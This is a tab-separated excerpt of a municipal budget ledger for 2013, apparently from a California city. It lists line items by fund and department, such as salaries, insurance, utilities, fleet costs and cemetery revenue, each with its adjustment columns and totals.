4163	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2013	5291.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5291.0
4164	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2013	25681.0	0	0.0	0.0	0	0	0.0	2647	0.0	0	0	0.0	28328.0
4165	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577704.0	PROP A REIMB-BUS STOP/SHELTER	910.0	 Supplies and Expenses	2013	60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60000.0
4166	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2013	13905.0	0	0.0	0.0	0	0	0.0	-19	0.0	0	0	0.0	13886.0
4167	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		LIFE INSURANCE & AD & D		Salaries and Wages	2013	2055.0	0	0.0	0.0	0	0	0.0	-204	0.0	0	0	0.0	1851.0
4168	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		DISABILITY INSURANCE		Salaries and Wages	2013	5233.0	0	0.0	0.0	0	0	0.0	-331	0.0	0	0	0.0	4902.0
4169	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2013	104700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	104700.0
4170	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522720.0	MILEAGE		 Supplies and Expenses	2013	561.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	561.0
4171	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2013	2550.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2550.0
4172	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533170.0	AUDIO EQUIPMENT MAINTENANCE		 Supplies and Expenses	2013	18054.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18054.0
4173	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2013	6020.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6020.0
4174	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	12765.0	0	0.0	0.0	0	0	0.0	-50	0.0	0	0	0.0	12715.0
4175	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	4151.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4151.0
4176	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2013	16501.0	0	0.0	0.0	0	0	0.0	-1600	0.0	0	0	0.0	14901.0
4177	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2013	7842.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7842.0
4178	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2013	16204.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16204.0
4179	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
4180	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2013	1020.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1020.0
4181	B1	IS	1	General Fund	310	FIRE	315	TRAINING	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2013	561.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	561.0
4182	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511748.0	DENTAL	808.0	Salaries and Wages	2013	15409.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15409.0
4183	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		UNEMPLOYMENT	808.0	Salaries and Wages	2013	8098.0	0	0.0	0.0	0	0	0.0	81	0.0	0	0	0.0	8179.0
4184	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2013	5006.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5006.0
4185	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2013	1020.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1020.0
4186	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	400936.0	0	0.0	0.0	0	0	0.0	4009	0.0	0	0	0.0	404945.0
4187	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	23769.0	0	0.0	0.0	0	0	0.0	238	0.0	0	0	0.0	24007.0
4188	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	5505.0	0	0.0	0.0	0	0	0.0	55	0.0	0	0	0.0	5560.0
4189	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	21516.0	0	0.0	0.0	0	0	0.0	215	0.0	0	0	0.0	21731.0
4190	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2013	936.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	936.0
4191	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	156537.0	0	0.0	0.0	0	0	0.0	1565	0.0	0	0	0.0	158102.0
4192	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	3476.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3476.0
4193	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	482.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	482.0
4194	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2013	2435.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2435.0
4195	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2013	923.0	0	0.0	0.0	0	0	0.0	9	0.0	0	0	0.0	932.0
4196	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2013	309.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	309.0
4197	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	73048.0	0	0.0	0.0	0	0	0.0	730	0.0	0	0	0.0	73778.0
4198	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	1738.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1738.0
4199	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2013	72.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	72.0
4200	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	115.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	115.0
4201	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	394.0	0	0.0	0.0	0	0	0.0	4	0.0	0	0	0.0	398.0
4202	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	138799.0	0	0.0	0.0	0	0	0.0	1388	0.0	0	0	0.0	140187.0
4203	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2013	411.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	411.0
4204	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2013	150.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	150.0
4205	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511490.0	OVERTIME	810.0	Salaries and Wages	2013	2259.0	0	0.0	0.0	0	0	0.0	49	0.0	0	0	0.0	2308.0
4206	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2013	137.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	137.0
4207	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	555.0	0	0.0	0.0	0	0	0.0	6	0.0	0	0	0.0	561.0
4208	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2013	660.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	660.0
4209	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400400.0	FIELD CONCESSION & STORAGE	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4210	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401002.0	SWIM CENTER-REC/LAP SWIM	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4211	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401003.0	SWIM CENTER-SWIM PASSES	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4212	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2013	4457.0	0	0.0	0.0	0	0	0.0	45	0.0	-4502	0	0.0	0.0
4213	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522115.0	UTIL-LIGHT/POWER-LIBRARY PARKI	804.0	 Supplies and Expenses	2013	85545.0	0	0.0	0.0	0	0	0.0	0	0.0	-85545	0	0.0	0.0
4214	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	28376.0	0	0.0	0.0	0	0	0.0	0	0.0	-28376	0	0.0	0.0
4215	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	1570.0	0	0.0	0.0	0	0	0.0	0	0.0	-1570	0	0.0	0.0
4216	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2013	1751.0	0	0.0	0.0	0	0	0.0	0	0.0	-1751	0	0.0	0.0
4217	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	566910.0	MAINTENANCE-PARKING FACILITIES	804.0	 Supplies and Expenses	2013	117360.0	0	0.0	0.0	0	0	0.0	0	0.0	-117360	0	0.0	0.0
4218	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2013	523.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	523.0
4219	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555170.0	MONITORING COSTS	808.0	 Supplies and Expenses	2013	3000.0	0	55000.0	0.0	0	0	0.0	0	0.0	0	0	0.0	58000.0
4220	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	400318.0	ATTENDANT PARKING-STRUCTRE 7&8	608.0	Licenses and Permits	2013	-3600000.0	0	0.0	0.0	0	0	0.0	-500000	0.0	4100000	0	0.0	0.0
4221	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560030.0	RAIN BARREL PROGRAM	808.0	 Supplies and Expenses	2013	13000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13000.0
4222	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555210.0	TRAINING	816.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
4223	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511560.0	CAPITALIZED LABOR		Salaries and Wages	2013	-20000.0	0	0.0	0.0	0	0	0.0	-200	0.0	0	0	0.0	-20200.0
4224	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402150.0	MORTUARY SERVICES	650.0	Charges for Service	2013	-275400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-275400.0
4225	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	566160.0	CANINE PROGRAM	806.0	 Supplies and Expenses	2013	27300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27300.0
4226	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2013	3400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3400.0
4227	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	405660.0	GLOW FOOD TRUCK REVENUE	612.0	Charges for Service	2013	-4200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4200.0
4228	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2013	58034.0	0	0.0	-2561.0	0	0	0.0	0	0.0	0	0	0.0	55473.0
4229	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE		Salaries and Wages	2013	1200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1200.0
4230	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2013	40031.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40031.0
4231	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING		 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
4232	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533290.0	LANDSCAPE MAINTENANCE		 Supplies and Expenses	2013	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
4233	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	401801.0	PROCEEDS	662.0	Other	2013	-68785.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-68785.0
4234	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402660.0	FUTURE REPLACEMENTS	650.0	Charges for Service	2013	-4657443.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4657443.0
4235	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	2031650.0	0	0.0	-4968.0	0	0	0.0	20267	0.0	0	0	0.0	2046949.0
4236	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	410823.0	0	0.0	10000.0	0	0	0.0	0	0.0	0	0	0.0	420823.0
4237	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	15198.0	0	0.0	-13.0	0	0	0.0	152	0.0	0	0	0.0	15337.0
4238	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2013	313545.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	313545.0
4239	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
4240	B1	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2013	120000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	120000.0
4241	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
4242	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522930.0	VEHICLES - TIRES / TUBES	808.0	 Supplies and Expenses	2013	145000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	145000.0
4243	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2013	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50000.0
4244	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555210.0	TRAINING	816.0	 Supplies and Expenses	2013	7500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7500.0
4245	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2013	18718.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18718.0
4246	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511749.0	VISION		Salaries and Wages	2013	822.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	822.0
4247	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	407240.0	TRANS MGMT BLDG PLAN CHECK	612.0	Charges for Service	2013	-118720.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-118720.0
4248	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2013	1100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1100.0
4249	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2013	-10520.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-10520.0
4250	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-4425.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4425.0
4251	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-13127.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-13127.0
4252	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2013	-8090.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8090.0
4253	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-3305.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3305.0
4254	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2013	-5238.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5238.0
4255	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-8214.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8214.0
4256	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-2170.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2170.0
4257	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-4843.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4843.0
4258	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409005.0	CHILDCARE-JANUARY	612.0	Charges for Service	2013	-31130.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-31130.0
4259	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409041.0	ELEM SPORTS-FALL	612.0	Charges for Service	2013	-54358.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-54358.0
4260	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409052.0	MIDDLE SPORTS-WINTER	612.0	Charges for Service	2013	-22332.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-22332.0
4261	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409063.0	SMSE-SUMMER	612.0	Charges for Service	2013	-43669.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-43669.0
4262	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402780.0	CASKET SALES	650.0	Charges for Service	2013	-98430.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-98430.0
4263	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556170.0	SOLD FLOWERS	808.0	 Supplies and Expenses	2013	11000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11000.0
4264	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2013	3678.0	0	0.0	0.0	0	0	0.0	187	0.0	0	0	0.0	3865.0
4265	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
4266	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511749.0	VISION		Salaries and Wages	2013	678.0	0	0.0	0.0	0	0	0.0	-3	0.0	0	0	0.0	675.0
4267	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EAP		Salaries and Wages	2013	518.0	0	0.0	0.0	0	0	0.0	-2	0.0	0	0	0.0	516.0
4268	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2013	1600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1600.0
4269	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	20819.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20819.0
4270	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	7947.0	0	0.0	0.0	0	0	0.0	79	0.0	0	0	0.0	8026.0
4271	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
4272	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522620.0	RENT		 Supplies and Expenses	2013	99015.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	99015.0
4273	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	552010.0	CUSTODIAL SERVICES		 Supplies and Expenses	2013	3100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3100.0
4274	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	533030.0	PROPERTY INSURANCE	854.0	 Supplies and Expenses	2013	48863.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	48863.0
4275	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	4696.0	0	0.0	0.0	0	0	0.0	-629	0.0	0	0	0.0	4067.0
4276	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
4277	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2013	10000.0	0	0.0	0.0	0	0	0.0	100	0.0	0	0	0.0	10100.0
4278	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2013	157126.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	157126.0
4279	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511749.0	VISION	816.0	Salaries and Wages	2013	1766.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1766.0
4280	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2013	192901.0	0	0.0	0.0	0	0	0.0	1929	0.0	0	0	0.0	194830.0
